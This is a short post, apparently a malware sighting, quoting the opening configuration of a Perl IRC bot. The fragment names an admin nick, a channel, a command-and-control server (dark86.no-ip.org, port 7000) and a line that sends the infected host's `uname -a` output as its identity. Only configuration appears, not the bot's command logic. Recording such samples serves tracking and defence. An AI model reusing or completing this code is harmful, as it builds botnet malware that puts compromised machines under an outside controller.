Perl bot found by Yewnix
my @adms=(“Darkone”);
my @canais=(“#dark7887”);
my @nickname = (“DARK”);
my $nick = $nickname[rand scalar @nickname];
my $ircname =’dark’;
chop (my $realname = `uname -a`);
$servidor=’dark86.no-ip.org’ unless $servidor;
my $porta=’7000′;
Source EpicBot
hosting infos: